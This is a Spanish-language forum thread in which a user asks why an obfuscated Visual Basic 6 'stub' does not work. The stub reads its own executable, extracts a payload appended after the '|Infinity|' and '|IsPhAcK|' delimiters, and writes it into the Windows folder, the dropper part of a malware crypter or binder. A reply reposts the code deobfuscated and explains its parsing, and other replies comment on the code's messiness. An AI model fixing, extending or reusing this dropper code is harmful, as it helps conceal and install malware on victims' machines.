Cual es el error pls una ayuda!!

[ediporey2000]

Código [Seleccionar] Expandir

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim qL03dVGjy48zqadiY4Tt As String
Dim JzubtbDcbqnUyen3dgq1 As String


Private Function Ruta() As String
Dim yf5NZzt9kYdmVs0rB1xJ As String, FvazNgSfP6Y1sLGTtJ9h As String, dowISKNxLrmGp0pCiDUr As Long
yf5NZzt9kYdmVs0rB1xJ = String$(128, Chr$(0))
dowISKNxLrmGp0pCiDUr = GetWindowWord(isp.hwnd, GWW_HINSTANCE)
yf5NZzt9kYdmVs0rB1xJ = Left$(yf5NZzt9kYdmVs0rB1xJ, GetModuleFileName(dowISKNxLrmGp0pCiDUr, yf5NZzt9kYdmVs0rB1xJ, Len(yf5NZzt9kYdmVs0rB1xJ)))
Ruta = yf5NZzt9kYdmVs0rB1xJ
End Function

Private Sub Main()


On Error Resume Next
Dim FjawcxU5VVpyj1K8cPRE As String
Dim ygyp8EL4PPCmjuYIVFRq As String
Dim bSruZqfCWVjiytOt10ok As String
Dim OcXqmgunrENzOM6a4gre As String
qL03dVGjy48zqadiY4Tt = "|Infinity|"
JzubtbDcbqnUyen3dgq1 = "|IsPhAcK|"
Open Ruta For Binary As #1
Dim gWWkEBQkV7AJpm5VgaIa As String
gWWkEBQkV7AJpm5VgaIa = Space(LOF(1))
Get #1, , gWWkEBQkV7AJpm5VgaIa
Close #1
Dim PVGFkLUjVKt66hkTWTsH As Variant, LMgXOjUEyhn2UR4rEDiW As Variant
PVGFkLUjVKt66hkTWTsH = Split(gWWkEBQkV7AJpm5VgaIa, qL03dVGjy48zqadiY4Tt)
For n = 1 To UBound(PVGFkLUjVKt66hkTWTsH)
LMgXOjUEyhn2UR4rEDiW = Split(PVGFkLUjVKt66hkTWTsH(n), JzubtbDcbqnUyen3dgq1)
For i = 0 To UBound(LMgXOjUEyhn2UR4rEDiW)
Select Case i
Case 0
L0L = LMgXOjUEyhn2UR4rEDiW(i)
Case 1
ygyp8EL4PPCmjuYIVFRq = LMgXOjUEyhn2UR4rEDiW(i)
Case 2
Select Case LMgXOjUEyhn2UR4rEDiW(i)
Case "Windows"
bSruZqfCWVjiytOt10ok = Environ("WINDIR")
End Select
Case 3
OcXqmgunrENzOM6a4gre = LMgXOjUEyhn2UR4rEDiW(i)
Case 4
FjawcxU5VVpyj1K8cPRE = LMgXOjUEyhn2UR4rEDiW(i)
End Select
Next i
Next n
Open bSruZqfCWVjiytOt10ok & "\" & ygyp8EL4PPCmjuYIVFRq For Binary As #1
Put #1, , FjawcxU5VVpyj1K8cPRE
Close #1
End Sub

no logro hacer funcionar ese code para un stub una ayuda pls xD

[raul338]

Primero que nada, desofuca ese code

[x64core]

que error de variables

Código (VB) [Seleccionar] Expandir

Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim STR1 As String
Dim STR2 As String


Private Function Ruta() As String
Dim R_str1 As String
Dim R_str2 As String
Dim R_lng As Long

R_str1 = String$(128, Chr$(0))
R_lng = GetWindowWord(isp.hwnd, GWW_HINSTANCE)
R_str1 = Left$(R_str1, GetModuleFileName(R_lng, R_str1, Len(R_str1)))
Ruta = R_str1
End Function

Private Sub Main()


On Error Resume Next
Dim MnStr1 As String
Dim MnStr2 As String
Dim MnStr3 As String
Dim MnStr4 As String

STR1 = "|Infinity|"
STR2 = "|IsPhAcK|"

Open Ruta For Binary As #1

   Dim MnStr5 As String

   MnStr5 = Space(LOF(1))
   Get #1, , MnStr5
Close #1

Dim MnVariant1 As Variant, MnVariant2 As Variant

MnVariant1 = Split(MnStr5, STR1)

For n = 1 To UBound(MnVariant1)
   MnVariant2 = Split(MnVariant1(n), STR2)
   For i = 0 To UBound(MnVariant2)
       Select Case i
           Case 0
               L0L = MnVariant2(i)
           Case 1
               MnStr2 = MnVariant2(i)
           Case 2
               Select Case MnVariant2(i)
                   Case "Windows"
                       MnStr3 = Environ("WINDIR")
               End Select
           Case 3
               MnStr4 = MnVariant2(i)
           Case 4
               MnStr1 = MnVariant2(i)
       End Select
   Next i
Next n

Open MnStr3 & "\" & MnStr2 For Binary As #1
Put #1, , MnStr1
Close #1
End Sub

se supone que en el binario debe de haber la STR1 luego en cada una de esas subcadenas la STR2
luego en esas sub cadenas dentro de las sub cadenas dependiendo del numero de sub cadenas que encuentre en este ultimo
las aguarda en las variables todas son recorridas por el FOR
y que se supone que son las rutas que el nuevo archivo binario que despues son concatenadas las variables encontradas que resulta ser la ruta . espero que te haya ayudado

Primero que nada, desofuca ese code

+1

[BlackZeroX]

NO se te puede ayudar con códigos tan cochinos como ese.

Dulces Lunas!¡.

[x64core]

NO se te puede ayudar con códigos tan cochinos como ese.

Dulces Lunas!¡.